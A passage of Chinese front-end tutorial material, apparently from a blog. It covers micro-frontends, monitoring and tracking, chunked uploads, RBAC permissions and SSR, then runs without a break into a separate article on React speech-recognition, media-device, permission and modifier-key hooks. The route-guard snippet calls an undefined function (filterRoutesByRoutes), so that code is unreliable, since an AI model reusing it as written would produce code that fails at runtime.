  console.log('用户信息变更:', user);
});

91. 微前端样式隔离

方案对比

方案 说明 优缺点
Shadow DOM 浏览器原生隔离 完全隔离,但穿透困难
CSS Scoped 添加唯一前缀 实现简单,性能较好
CSS Modules 类名哈希化 工程化支持好
动态样式 挂载时添加,卸载时移除 简单有效

qiankun 样式隔离

start({
  sandbox: {
    strictStyleIsolation: true,  // Shadow DOM
    experimentalStyleIsolation: true  // 动态 scoped
  }
});

// experimentalStyleIsolation 会添加 data-qiankun 属性
// 实际效果:.app-class[data-qiankun="app-a"]

92. 微前端状态共享

方案

// 基于 RxJS 的状态管理
import { BehaviorSubject } from 'rxjs';

class SharedState {
  constructor() {
    this.subjects = {};
  }
  
  get(key, defaultValue) {
    if (!this.subjects[key]) {
      this.subjects[key] = new BehaviorSubject(defaultValue);
    }
    return this.subjects[key];
  }
  
  set(key, value) {
    this.get(key).next(value);
  }
}

export const sharedState = new SharedState();

// 子应用 A - 发布状态
sharedState.set('currentUser', { id: 1, name: '张三' });

// 子应用 B - 订阅状态
sharedState.get('currentUser').subscribe(user => {
  console.log('当前用户:', user);
});

93. 微前端部署

部署方案

方案 说明
独立部署 每个子应用独立部署到不同服务器
统一构建 主应用和子应用统一构建后部署
CDN 部署 子应用部署到 CDN,基座引用 CDN 地址
Docker 容器化 每个子应用独立容器

CI/CD 流程

┌─────────┐    ┌─────────┐    ┌─────────┐
│ 子应用A  │    │ 子应用B  │    │ 子应用C  │
│  独立CI  │    │  独立CI  │    │  独立CI  │
└────┬────┘    └────┬────┘    └────┬────┘
     │              │              │
     ▼              ▼              ▼
┌─────────────────────────────────────────┐
│              CDN / 静态服务器               │
└─────────────────────────────────────────┘
                     ▲
                     │
┌─────────────────────────────────────────┐
│            基座应用(引用子应用地址)          │
│            独立部署、独立版本控制              │
└─────────────────────────────────────────┘

九、监控体系

94. 监控体系包括哪些? / 前端监控体系包括哪些内容?

前端监控体系组成

维度 内容 说明
性能监控 页面加载、渲染、交互性能 FCP、LCP、FID、CLS 等
错误监控 JS 错误、资源加载错误、接口错误 try-catch、window.onerror
用户行为 页面访问、点击、转化漏斗 埋点、PV/UV
业务监控 业务指标、转化率 订单量、注册量
安全监控 XSS 攻击、异常请求 CSP 报告、异常请求分析

95. 前端监控的实现(错误收集、性能监控)

错误收集

// 1. 全局 JS 错误
window.addEventListener('error', (e) => {
  reportError({
    type: 'js-error',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno,
    colno: e.colno,
    stack: e.error?.stack
  });
}, true);

// 2. Promise 未捕获错误
window.addEventListener('unhandledrejection', (e) => {
  reportError({
    type: 'promise-error',
    message: e.reason?.message || String(e.reason),
    stack: e.reason?.stack
  });
});

// 3. 资源加载错误
window.addEventListener('error', (e) => {
  if (e.target !== window) {
    reportError({
      type: 'resource-error',
      tagName: e.target.tagName,
      src: e.target.src || e.target.href
    });
  }
}, true);

// 4. Vue 错误处理
app.config.errorHandler = (err, instance, info) => {
  reportError({
    type: 'vue-error',
    message: err.message,
    component: instance?.$options?.name,
    info
  });
};

// 5. React 错误边界
class ErrorBoundary extends React.Component {
  componentDidCatch(error, errorInfo) {
    reportError({
      type: 'react-error',
      message: error.message,
      componentStack: errorInfo.componentStack
    });
  }
  
  render() {
    return this.props.children;
  }
}

性能监控

// Performance API
function collectPerformanceMetrics() {
  const navigation = performance.getEntriesByType('navigation')[0];
  const paint = performance.getEntriesByType('paint');
  
  return {
    // 导航计时
    dns: navigation.domainLookupEnd - navigation.domainLookupStart,
    tcp: navigation.connectEnd - navigation.connectStart,
    ttfb: navigation.responseStart - navigation.requestStart,
    download: navigation.responseEnd - navigation.responseStart,
    
    // 渲染计时
    fcp: paint.find(p => p.name === 'first-contentful-paint')?.startTime,
    
    // 页面可用
    domReady: navigation.domContentLoadedEventEnd - navigation.startTime,
    load: navigation.loadEventEnd - navigation.startTime
  };
}

// Web Vitals
import { getCLS, getFID, getFCP, getLCP, getTTFB } from 'web-vitals';

getCLS(reportMetric);
getFID(reportMetric);
getFCP(reportMetric);
getLCP(reportMetric);
getTTFB(reportMetric);

function reportMetric(metric) {
  sendToAnalytics({
    name: metric.name,
    value: metric.value,
    delta: metric.delta,
    rating: metric.rating
  });
}

96. 如何实现前端埋点监控系统?

埋点类型

类型 说明 实现
页面浏览(PV) 记录页面访问 路由变化监听
用户行为 点击、滚动、输入 事件委托
自定义事件 业务事件 手动调用
性能数据 页面性能 Performance API
错误数据 运行时错误 全局监听

埋点系统实现

class Tracker {
  constructor(options) {
    this.appId = options.appId;
    this.userId = options.userId;
    this.queue = [];
    this.batchSize = options.batchSize || 10;
    this.flushInterval = options.flushInterval || 5000;
    this.apiEndpoint = options.apiEndpoint;
    
    this.startAutoFlush();
  }
  
  // 页面浏览
  trackPageView(pageName, properties = {}) {
    this.track('page_view', { page_name: pageName, ...properties });
  }
  
  // 自定义事件
  trackEvent(eventName, properties = {}) {
    this.track(eventName, properties);
  }
  
  // 核心方法
  track(event, properties = {}) {
    const data = {
      event,
      properties,
      user_id: this.userId,
      app_id: this.appId,
      timestamp: Date.now(),
      url: location.href,
      referrer: document.referrer,
      user_agent: navigator.userAgent,
      screen: `${screen.width}x${screen.height}`
    };
    
    this.queue.push(data);
    
    if (this.queue.length >= this.batchSize) {
      this.flush();
    }
  }
  
  // 批量上报
  async flush() {
    if (this.queue.length === 0) return;
    
    const data = this.queue.splice(0, this.batchSize);
    
    try {
      await navigator.sendBeacon(this.apiEndpoint, JSON.stringify(data));
    } catch (e) {
      // 降级为图片请求
      new Image().src = `${this.apiEndpoint}?data=${encodeURIComponent(JSON.stringify(data))}`;
    }
  }
  
  startAutoFlush() {
    setInterval(() => this.flush(), this.flushInterval);
  }
}

// 自动 PV 追踪
function trackPageView(tracker) {
  const originalPushState = history.pushState;
  history.pushState = function(...args) {
    originalPushState.apply(this, args);
    tracker.trackPageView(location.pathname);
  };
  
  window.addEventListener('popstate', () => {
    tracker.trackPageView(location.pathname);
  });
  
  // 初始页面
  tracker.trackPageView(location.pathname);
}

// 使用
const tracker = new Tracker({
  appId: 'my-app',
  userId: getUserId(),
  apiEndpoint: '/api/track'
});

trackPageView(tracker);

// 手动埋点
document.getElementById('submit-btn').addEventListener('click', () => {
  tracker.trackEvent('form_submit', { form_id: 'login-form' });
});

97. 性能监控

关键指标

指标 说明 目标
FCP 首次内容绘制 < 1.8s
LCP 最大内容绘制 < 2.5s
FID 首次输入延迟 < 100ms
CLS 累积布局偏移 < 0.1
TTI 可交互时间 < 3.8s

实时监控

// 实时监控 FCP/LCP
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log(`${entry.name}: ${entry.startTime}ms`);
    reportToServer(entry.name, entry.startTime);
  }
});

observer.observe({ type: 'paint', buffered: true });
observer.observe({ type: 'largest-contentful-paint', buffered: true });

// 监控长任务
const longTaskObserver = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log('长任务:', entry.duration, 'ms');
  }
});
longTaskObserver.observe({ type: 'longtask', buffered: true });

十、工程实践

98. 大文件上传如何实现?

问题拆解

维度 问题 方案
传输 大文件传输慢 分片上传
可靠性 网络中断导致失败 断点续传
效率 重复上传相同文件 秒传(哈希去重)
进度 用户不知道进度 进度条反馈
并发 提高上传速度 并发上传

实现步骤

1. 文件切片 → 将大文件切割为固定大小的小块
2. 计算哈希 → 计算整个文件的哈希(用于秒传和去重)
3. 检查秒传 → 服务端判断是否已有相同文件
4. 分片上传 → 并发上传各个分片
5. 合并分片 → 所有分片上传完成后通知服务端合并
6. 断点续传 → 记录已上传分片,失败后只传未上传部分

代码实现

class FileUploader {
  constructor(options) {
    this.chunkSize = options.chunkSize || 2 * 1024 * 1024; // 2MB
    this.concurrent = options.concurrent || 3;
    this.onProgress = options.onProgress;
  }
  
  // 计算文件哈希
  async calculateHash(file) {
    return new Promise((resolve) => {
      const spark = new SparkMD5.ArrayBuffer();
      const reader = new FileReader();
      const chunks = this.sliceFile(file);
      let index = 0;
      
      const loadNext = () => {
        if (index >= chunks.length) {
          resolve(spark.end());
          return;
        }
        reader.readAsArrayBuffer(chunks[index++]);
      };
      
      reader.onload = (e) => {
        spark.append(e.target.result);
        loadNext();
      };
      
      loadNext();
    });
  }
  
  // 切片
  sliceFile(file) {
    const chunks = [];
    let start = 0;
    while (start < file.size) {
      chunks.push(file.slice(start, start + this.chunkSize));
      start += this.chunkSize;
    }
    return chunks;
  }
  
  // 上传单个分片
  async uploadChunk(chunk, index, hash, fileName) {
    const formData = new FormData();
    formData.append('chunk', chunk);
    formData.append('index', index);
    formData.append('hash', hash);
    formData.append('fileName', fileName);
    
    return fetch('/api/upload/chunk', {
      method: 'POST',
      body: formData
    });
  }
  
  // 并发控制
  async concurrentUpload(tasks, limit) {
    const results = [];
    let index = 0;
    
    const worker = async () => {
      while (index < tasks.length) {
        const taskIndex = index++;
        results[taskIndex] = await tasks[taskIndex]();
      }
    };
    
    const workers = Array.from({ length: Math.min(limit, tasks.length) }, worker);
    await Promise.all(workers);
    return results;
  }
  
  // 主流程
  async upload(file) {
    const hash = await this.calculateHash(file);
    
    // 1. 检查秒传
    const checkRes = await fetch('/api/upload/check', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name })
    });
    const checkData = await checkRes.json();
    
    if (checkData.exist) {
      this.onProgress?.(100);
      return { status: 'exists', url: checkData.url };
    }
    
    // 2. 获取已上传的分片(断点续传)
    const uploadedChunks = checkData.uploaded || [];
    
    // 3. 切片
    const chunks = this.sliceFile(file);
    
    // 4. 过滤未上传的分片
    const tasks = chunks
      .map((chunk, index) => ({ chunk, index }))
      .filter(({ index }) => !uploadedChunks.includes(index))
      .map(({ chunk, index }) => () => 
        this.uploadChunk(chunk, index, hash, file.name)
      );
    
    // 5. 并发上传
    let completed = uploadedChunks.length;
    const total = chunks.length;
    
    const wrappedTasks = tasks.map(task => async () => {
      const result = await task();
      completed++;
      this.onProgress?.(Math.round((completed / total) * 100));
      return result;
    });
    
    await this.concurrentUpload(wrappedTasks, this.concurrent);
    
    // 6. 合并分片
    return fetch('/api/upload/merge', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name, chunkCount: total })
    });
  }
}

// 使用
const uploader = new FileUploader({
  chunkSize: 2 * 1024 * 1024,
  concurrent: 3,
  onProgress: (percent) => {
    console.log(`上传进度: ${percent}%`);
    document.getElementById('progress').style.width = `${percent}%`;
  }
});

document.getElementById('file-input').addEventListener('change', async (e) => {
  const file = e.target.files[0];
  const result = await uploader.upload(file);
  console.log('上传结果:', result);
});

99. 如何实现权限控制系统?

权限模型

模型 说明 适用场景
RBAC 基于角色的权限控制 通用场景
ABAC 基于属性的权限控制 细粒度控制
ACL 访问控制列表 简单权限

RBAC 实现

用户 (User) ── N:N ──> 角色 (Role) ── N:N ──> 权限 (Permission)

前端权限控制方案

维度 方案
菜单权限 动态路由、菜单过滤
按钮权限 自定义指令、组件
接口权限 请求拦截、后端校验
数据权限 数据过滤、行级权限

动态路由权限控制

// 路由配置
const asyncRoutes = [
  {
    path: '/admin',
    component: () => import('@/layouts/AdminLayout.vue'),
    meta: { roles: ['admin'] },
    children: [
      {
        path: 'users',
        component: () => import('@/pages/admin/Users.vue'),
        meta: { roles: ['admin'] }
      },
      {
        path: 'roles',
        component: () => import('@/pages/admin/Roles.vue'),
        meta: { roles: ['admin', 'manager'] }
      }
    ]
  },
  {
    path: '/dashboard',
    component: () => import('@/pages/Dashboard.vue'),
    meta: { roles: ['admin', 'user', 'manager'] }
  }
];

// 权限过滤函数
function filterRoutesByRoles(routes, userRoles) {
  return routes.filter(route => {
    if (route.meta?.roles) {
      const hasPermission = route.meta.roles.some(role => 
        userRoles.includes(role)
      );
      if (!hasPermission) return false;
    }
    
    if (route.children) {
      route.children = filterRoutesByRoles(route.children, userRoles);
    }
    
    return true;
  });
}

// 路由守卫
router.beforeEach(async (to, from, next) => {
  const userStore = useUserStore();
  
  if (!userStore.token) {
    if (to.path === '/login') {
      next();
    } else {
      next(`/login?redirect=${to.path}`);
    }
    return;
  }
  
  // 获取用户信息和权限
  if (!userStore.roles.length) {
    await userStore.fetchUserInfo();
    
    // 动态添加路由
    const accessibleRoutes = filterRoutesByRoutes(
      asyncRoutes, 
      userStore.roles
    );
    
    accessibleRoutes.forEach(route => {
      router.addRoute(route);
    });
    
    // 重新导航
    next({ ...to, replace: true });
    return;
  }
  
  next();
});

按钮权限控制

<!-- 权限指令 -->
const permission = {
  mounted(el, binding) {
    const { value } = binding;
    const userPermissions = useUserStore().permissions;
    
    if (value && !userPermissions.includes(value)) {
      el.parentNode?.removeChild(el);
    }
  }
};

app.directive('permission', permission);

<!-- 使用 -->
<button v-permission="'user:delete'">删除用户</button>
<button v-permission="'user:edit'">编辑用户</button>

权限组件

<template>
  <slot v-if="hasPermission"></slot>
</template>

<script>
export default {
  props: {
    permission: { type: String, required: true }
  },
  computed: {
    hasPermission() {
      return useUserStore().permissions.includes(this.permission);
    }
  }
}
</script>

<!-- 使用 -->
<Permission permission="user:delete">
  <button>删除用户</button>
</Permission>

100. 如何实现服务端渲染 (SSR)?

定义

服务端渲染(Server-Side Rendering)是在服务器端将组件渲染为 HTML 字符串,直接发送给浏览器。

优势

  • SEO 友好:搜索引擎可以抓取完整内容
  • 首屏加载快:无需等待 JS 下载执行
  • 用户体验好:减少白屏时间

Vue SSR 实现

// server.js
import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import express from 'express';
import App from './App.vue';

const app = express();

app.get('*', async (req, res) => {
  const vueApp = createSSRApp(App);
  
  // 传递初始数据
  vueApp.provide('initialData', { user: '张三' });
  
  const html = await renderToString(vueApp);
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="app">${html}</div>
        <script>
          window.__INITIAL_DATA__ = ${JSON.stringify({ user: '张三' })};
        </script>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

React SSR 实现

// server.js
import express from 'express';
import React from 'react';
import { renderToString } from 'react-dom/server';
import App from './App';

const app = express();

app.get('*', (req, res) => {
  const html = renderToString(
    <React.StrictMode>
      <App />
    </React.StrictMode>
  );
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="root">${html}</div>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

Nuxt.js / Next.js

// Nuxt.js (Vue)
// nuxt.config.js
export default {
  ssr: true,
  target: 'server'
}

// Next.js (React)
// next.config.js
module.exports = {
  // SSR 默认开启
}

// 页面组件
export async function getServerSideProps(context) {
  const data = await fetchData();
  return { props: { data } };
}

SSR 架构

┌──────────┐     ┌──────────┐     ┌──────────┐
│  浏览器   │────>│  服务端   │────>│  数据库   │
│          │<────│          │<────│          │
└──────────┘ HTML└──────────┘     └──────────┘
     │
     │ hydrate
     ▼
┌──────────┐
│  客户端   │
│  (SPA)   │
└──────────┘

React 中的语音与摄像头输入:语音识别、媒体设备与权限

2026年5月7日 10:04

语音和摄像头是把一个静态 Web 应用变得鲜活的两种感官。一个能对它说话的搜索栏。一个实时把你说的话转成文字的笔记应用。一个让你选择用哪个摄像头的会议工具。一个按住按键就能说话的对讲机。这些早已不再罕见——浏览器有这些 API 已经好多年了——但每一个都被一连串权限弹窗、厂商前缀和生命周期的怪癖挡在前面,让人很难干净地把它们集成进 React 组件。

本文将带你走过四种用于语音和摄像头输入的浏览器能力:带中间结果的实时语音识别、枚举用户的摄像头和麦克风、在权限被撤销时仍能存活的权限查询,以及把 Shift 键当作按住说话修饰符使用。和往常一样,我们会先用手动实现来开局,让你看清底层的管道,然后再换成 ReactUse 里专门的 Hook。最后,我们会把四个 Hook 组合成一个完整的语音搜索组件,包含设备选择器、权限闸门,以及按住说话的录音交互。

1. 实时语音识别

手动实现

Web Speech API 是一个比较老的浏览器 API,但从未真正被标准化——Chrome 把它实现成 webkitSpeechRecognition,而无前缀的 SpeechRecognition 在大多数引擎里仍然缺失。最小可用的 React 包装看起来像这样:

function ManualSpeechRecognition() {
  const [transcript, setTranscript] = useState("");
  const [listening, setListening] = useState(false);
  const recognitionRef = useRef<any>(null);

  useEffect(() => {
    const SR =
      (window as any).SpeechRecognition ||
      (window as any).webkitSpeechRecognition;
    if (!SR) return;
    const recognition = new SR();
    recognition.continuous = true;
    recognition.interimResults = true;
    recognition.lang = "zh-CN";
    recognition.onresult = (event: any) => {
      const result = event.results[event.resultIndex];
      setTranscript(result[0].transcript);
    };
    recognition.onend = () => setListening(false);
    recognitionRef.current = recognition;
    return () => recognition.abort();
  }, []);

  const start = () => {
    recognitionRef.current?.start();
    setListening(true);
  };
  const stop = () => {
    recognitionRef.current?.stop();
    setListening(false);
  };

  return (
    <div>
      <button onClick={listening ? stop : start}>
        {listening ? "停止" : "开始"}识别
      </button>
      <p>{transcript}</p>
    </div>
  );
}

这个能跑,但忽略了那些粗糙的边角。它没有区分 isFinal,所以 UI 无法判断用户什么时候停顿了("中间结果"和"最终结果"的区别正是让语音 UI 显得有响应的关键)。它没有错误处理——如果用户拒绝了麦克风权限或网络断了,转录就会默默地永远不更新。它没有语言协商。而且 SR 的类型很糟糕,因为 TypeScript 没有为 webkitSpeechRecognition 提供类型。

ReactUse 的方式:useSpeechRecognition

useSpeechRecognition 返回一个干净的对象,提供恰当的原语:

import { useSpeechRecognition } from "@reactuses/core";

function VoiceNote() {
  const { isSupported, isListening, isFinal, result, error, start, stop } =
    useSpeechRecognition({
      lang: "zh-CN",
      interimResults: true,
      continuous: true,
    });

  if (!isSupported) {
    return <p>当前浏览器不支持语音识别。</p>;
  }

  return (
    <div>
      <button onClick={isListening ? stop : start}>
        {isListening ? "停止" : "开始"}口述
      </button>
      <p
        style={{
          fontStyle: isFinal ? "normal" : "italic",
          color: isFinal ? "#0f172a" : "#64748b",
        }}
      >
        {result || "说点什么..."}
      </p>
      {error && <p style={{ color: "#ef4444" }}>错误:{error.error}</p>}
    </div>
  );
}

你不用写就能拿到的好处:

  1. isFinal —— Hook 会跟踪当前 result 是语音引擎的临时猜测(在示例里是斜体)还是已经锁定的转录。这是相比朴素版本最大的 UX 提升。
  2. error 对象 —— 当权限被拒、网络断开或引擎失败时,你能拿到一个带类型的错误对象,可以展示给用户而不是默默地卡住。
  3. 热配置start({ lang: "fr-FR" }) 让你能在会话中途切换语言,无需重建识别器。
  4. 卸载时清理。Hook 会自动调用 abort(),所以离开页面永远不会让麦克风一直开着。

最有威力的模式是把识别结果绑到一个搜索输入框上,让用户在说话时实时输入查询。因为 Hook 会在每个中间结果到来时重渲,你可以直接用语音输入来驱动一个实时搜索查询,让用户在说话时就能看到结果。

2. 枚举摄像头和麦克风

手动实现

列出用户的音频和视频设备需要 navigator.mediaDevices.enumerateDevices()。有个陷阱:在用户对某个设备授予权限之前,返回的标签是空的——你只能拿到一组 deviceId,但拿不到像 "FaceTime HD Camera" 这样的 label。要拿到标签,你必须先调用 getUserMedia 触发权限弹窗,然后再枚举一次。

function ManualDeviceList() {
  const [devices, setDevices] = useState<MediaDeviceInfo[]>([]);

  useEffect(() => {
    let mounted = true;
    const refresh = async () => {
      try {
        // 触发权限以填充标签
        const stream = await navigator.mediaDevices.getUserMedia({
          audio: true,
          video: true,
        });
        stream.getTracks().forEach((t) => t.stop());
        const list = await navigator.mediaDevices.enumerateDevices();
        if (mounted) setDevices(list);
      } catch (e) {
        console.error(e);
      }
    };
    refresh();
    navigator.mediaDevices.addEventListener("devicechange", refresh);
    return () => {
      mounted = false;
      navigator.mediaDevices.removeEventListener("devicechange", refresh);
    };
  }, []);

  return (
    <ul>
      {devices.map((d) => (
        <li key={d.deviceId}>
          {d.kind}: {d.label || "(标签隐藏)"}
        </li>
      ))}
    </ul>
  );
}

形状是对的,但你每次都要写权限触发的舞蹈、临时流的清理,以及 device-change 监听器。

ReactUse 的方式:useMediaDevices

useMediaDevices 把整套流程打包了起来:

import { useMediaDevices } from "@reactuses/core";

function CameraPicker({
  selected,
  onSelect,
}: {
  selected: string;
  onSelect: (id: string) => void;
}) {
  const [{ devices }, ensurePermissions] = useMediaDevices({
    requestPermissions: true,
    constraints: { video: true, audio: false },
  });

  const cameras = devices.filter((d) => d.kind === "videoinput");

  return (
    <div>
      <button onClick={() => ensurePermissions()}>刷新设备</button>
      <select
        value={selected}
        onChange={(e) => onSelect(e.target.value)}
        style={{ marginLeft: 8 }}
      >
        {cameras.map((cam) => (
          <option key={cam.deviceId} value={cam.deviceId}>
            {cam.label || `摄像头 ${cam.deviceId.slice(0, 6)}`}
          </option>
        ))}
      </select>
    </div>
  );
}

Hook 处理了三件你本来要自己写的事:

  • 权限协商。传 requestPermissions: true,Hook 会在挂载时根据你指定的 constraints 触发 getUserMedia,然后立即停止临时音视轨道,让摄像头指示灯熄灭。
  • 实时设备列表。Hook 监听 devicechange 并自动重新枚举——如果用户插入新麦克风或拔掉耳机,列表会自动更新,不需要额外代码。
  • 手动刷新。返回的 ensurePermissions 让你随时能再触发一次提示,对于"用户拒绝了一次后想再试一次"的按钮非常有用。

constraints 参数会直接转发给 getUserMedia,所以你只需要视频时(跳过那种"想要麦克风权限吗"的别扭弹窗)就只请求视频。

3. 正确地查询权限

手动实现

要在不触发弹窗的情况下检查用户是否已经授予(或拒绝)麦克风或摄像头权限,需要 Permissions API。它支持得很好但很啰嗦:

function ManualMicPermission() {
  const [state, setState] = useState<PermissionState | "unknown">("unknown");

  useEffect(() => {
    let mounted = true;
    let status: PermissionStatus | null = null;
    (async () => {
      try {
        status = await navigator.permissions.query({
          name: "microphone" as PermissionName,
        });
        if (mounted) setState(status.state);
        status.onchange = () => mounted && status && setState(status.state);
      } catch {
        // 此名称的 Permissions API 不可用
      }
    })();
    return () => {
      mounted = false;
      if (status) status.onchange = null;
    };
  }, []);

  return <p>麦克风权限:{state}</p>;
}

三件值得注意的事。第一,API 通过 onchange 提供回调,对 React 不友好。第二,你必须同时特性检测 Permissions API 本身和具体的 name(某些浏览器不支持 "microphone")。第三,change 监听器必须显式清理,而不能通过 effect 返回值。

ReactUse 的方式:usePermission

usePermission 把整段舞蹈减到一次调用:

import { usePermission } from "@reactuses/core";

function MicStatusBadge() {
  const state = usePermission("microphone");

  const color =
    state === "granted"
      ? "#10b981"
      : state === "denied"
      ? "#ef4444"
      : "#f59e0b";

  return (
    <span style={{ color, fontWeight: 600 }}>
      麦克风:{state || "未知"}
    </span>
  );
}

state 是一个 React 原生字符串,每当底层权限状态变化时就会更新——包括外部变化,比如用户进入浏览器设置撤销了权限,你的组件 state 就会翻转到 "denied",不需要你做任何操作。

你可以传一个像 "microphone""camera" 这样的字符串,也可以传一个完整的 PermissionDescriptor 对象,用于像 "push" 这样需要额外字段的权限。形状和 navigator.permissions.query 完全一致,只是变成了一个 Hook。

4. 用 useKeyModifier 实现按住说话

手动实现

按住说话按钮比看起来要难。你想检测用户是否在按住某个键(比如 Space 或 Shift),按住时开始录音,松开时立即停止。你还得处理这种情况:用户按住按键、把焦点切到另一个窗口、在你的页面隐藏时松开按键、然后再回来——否则录音器会一直卡在录制状态。

function ManualPushToTalk() {
  const [pressed, setPressed] = useState(false);

  useEffect(() => {
    const onDown = (e: KeyboardEvent) => {
      if (e.code === "Space") setPressed(true);
    };
    const onUp = (e: KeyboardEvent) => {
      if (e.code === "Space") setPressed(false);
    };
    const onBlur = () => setPressed(false);
    window.addEventListener("keydown", onDown);
    window.addEventListener("keyup", onUp);
    window.addEventListener("blur", onBlur);
    return () => {
      window.removeEventListener("keydown", onDown);
      window.removeEventListener("keyup", onUp);
      window.removeEventListener("blur", onBlur);
    };
  }, []);

  return <p>{pressed ? "正在录制..." : "按住空格说话"}</p>;
}

这个差不多能跑。bug 是:如果 Space 键在按住时自动重复(大多数操作系统都会这样),你会先收到一个 keydown,然后又一个 keydown,最后才是 keyup。这个你处理了。但如果用户按的是 Shift 并把它当成与其他键的组合修饰符使用,你的手动跟踪就不知道了。

ReactUse 的方式:useKeyModifier

useKeyModifier 把 OS 级别的修饰键状态(和你从 event.getModifierState 拿到的值一样)暴露为 React state:

import { useKeyModifier } from "@reactuses/core";

function ShiftToRecord({ onTalkStart, onTalkEnd }: {
  onTalkStart: () => void;
  onTalkEnd: () => void;
}) {
  const shift = useKeyModifier("Shift");

  useEffect(() => {
    if (shift) onTalkStart();
    else onTalkEnd();
  }, [shift, onTalkStart, onTalkEnd]);

  return (
    <div
      style={{
        padding: 16,
        background: shift ? "#fef3c7" : "#f1f5f9",
        borderRadius: 8,
        textAlign: "center",
      }}
    >
      {shift ? "正在录制(松开 Shift 停止)" : "按住 Shift 说话"}
    </div>
  );
}

相比 keydown/keyup 版本的好处:

  • OS 感知。Hook 读取 getModifierState,从 OS 查询实际的修饰键状态。它能正确应对自动重复、焦点丢失和奇怪的组合键。
  • 支持任何修饰键。传 "Control""Alt""Meta""CapsLock""NumLock"——浏览器追踪的任何修饰键都行。
  • 初始值。如果你想让 React state 初始为 true,就配置 initial: true(不常见,但调试时有用)。

全部组合:带设备选择器的语音搜索

我们把四个 Hook 组合成一个语音驱动的搜索组件。用户可以选择用哪个麦克风、看到一个权限徽章、按住 Shift 开始口述、并在说话时实时看到转录更新。当他们松开 Shift 时,最终转录就成了搜索查询。

import { useEffect, useState } from "react";
import {
  useSpeechRecognition,
  useMediaDevices,
  usePermission,
  useKeyModifier,
} from "@reactuses/core";

function VoiceSearch() {
  const [selectedMic, setSelectedMic] = useState<string>("");
  const [query, setQuery] = useState("");

  const micPermission = usePermission("microphone");
  const [{ devices }, requestDevices] = useMediaDevices({
    requestPermissions: false,
    constraints: { audio: true, video: false },
  });

  const microphones = devices.filter((d) => d.kind === "audioinput");

  const {
    isSupported,
    isListening,
    isFinal,
    result,
    error,
    start,
    stop,
  } = useSpeechRecognition({
    lang: "zh-CN",
    interimResults: true,
    continuous: false,
  });

  const shiftDown = useKeyModifier("Shift");

  // 按住说话:按下 Shift 时开始,松开时停止
  useEffect(() => {
    if (!isSupported || micPermission !== "granted") return;
    if (shiftDown) {
      start();
    } else if (isListening) {
      stop();
    }
  }, [shiftDown, isSupported, micPermission, start, stop, isListening]);

  // 当识别最终化时,把结果提交到查询
  useEffect(() => {
    if (isFinal && result) {
      setQuery(result);
    }
  }, [isFinal, result]);

  const permissionColor =
    micPermission === "granted"
      ? "#10b981"
      : micPermission === "denied"
      ? "#ef4444"
      : "#f59e0b";

  return (
    <div
      style={{
        maxWidth: 640,
        padding: 24,
        background: "#ffffff",
        borderRadius: 16,
        boxShadow: "0 4px 24px rgba(15, 23, 42, 0.06)",
        fontFamily: "system-ui, sans-serif",
      }}
    >
      <header
        style={{
          display: "flex",
          justifyContent: "space-between",
          alignItems: "center",
          marginBottom: 16,
        }}
      >
        <h2 style={{ margin: 0, fontSize: 18 }}>语音搜索</h2>
        <span style={{ color: permissionColor, fontSize: 13, fontWeight: 600 }}>
          ● 麦克风:{micPermission || "未知"}
        </span>
      </header>

      {!isSupported && (
        <p style={{ color: "#64748b" }}>
          当前浏览器不支持语音识别。请试试 Chrome。
        </p>
      )}

      {isSupported && micPermission !== "granted" && (
        <button
          onClick={requestDevices}
          style={{
            width: "100%",
            padding: 12,
            background: "#3b82f6",
            color: "white",
            border: "none",
            borderRadius: 8,
            cursor: "pointer",
          }}
        >
          授权麦克风访问
        </button>
      )}

      {isSupported && micPermission === "granted" && (
        <>
          <div style={{ display: "flex", gap: 12, marginBottom: 12 }}>
            <select
              value={selectedMic}
              onChange={(e) => setSelectedMic(e.target.value)}
              style={{
                flex: 1,
                padding: 8,
                borderRadius: 6,
                border: "1px solid #cbd5e1",
              }}
            >
              <option value="">默认麦克风</option>
              {microphones.map((mic) => (
                <option key={mic.deviceId} value={mic.deviceId}>
                  {mic.label || `麦克风 ${mic.deviceId.slice(0, 6)}`}
                </option>
              ))}
            </select>
          </div>

          <div
            style={{
              padding: 16,
              background: shiftDown ? "#dcfce7" : "#f8fafc",
              borderRadius: 8,
              border: shiftDown
                ? "2px solid #10b981"
                : "2px dashed #cbd5e1",
              textAlign: "center",
              transition: "all 120ms ease",
            }}
          >
            <p style={{ margin: 0, fontWeight: 600, fontSize: 13 }}>
              {shiftDown ? "正在监听..." : "按住 Shift 进行口述"}
            </p>
            {result && (
              <p
                style={{
                  margin: "8px 0 0",
                  fontStyle: isFinal ? "normal" : "italic",
                  color: isFinal ? "#0f172a" : "#64748b",
                }}
              >
                {result}
              </p>
            )}
          </div>

          {error && (
            <p style={{ color: "#ef4444", fontSize: 13, marginTop: 8 }}>
              识别错误:{error.error}
            </p>
          )}

          <input
            value={query}
            onChange={(e) => setQuery(e.target.value)}
            placeholder="搜索查询..."
            style={{
              width: "100%",
              marginTop: 12,
              padding: 10,
              borderRadius: 6,
              border: "1px solid #cbd5e1",
              fontSize: 16,
            }}
          />
        </>
      )}
    </div>
  );
}

四个 Hook,四个相互正交的关注点:

  • usePermission 驱动 header 中的徽章,并把 UI 的其余部分挡在用户实际决策之后。因为它是响应式的,如果用户在浏览器设置里撤销了麦克风权限,徽章会自动更新,输入框会自动消失。
  • useMediaDevices 填充麦克风选择器,除非用户点击"授权",否则不会强制弹出权限对话框。
  • useSpeechRecognition 完成实际的转录,区分中间结果和最终结果,并以带类型的方式暴露引擎错误。
  • useKeyModifier 把 Shift 键变成按住说话的触发器,能正确应对焦点丢失、OS 自动重复和奇怪的组合键。

整个组件大概 130 行,绝大多数都是标签。浏览器 API 那些历来最难做对的部分,每个关注点只占一行 import。

关于测试的一点说明

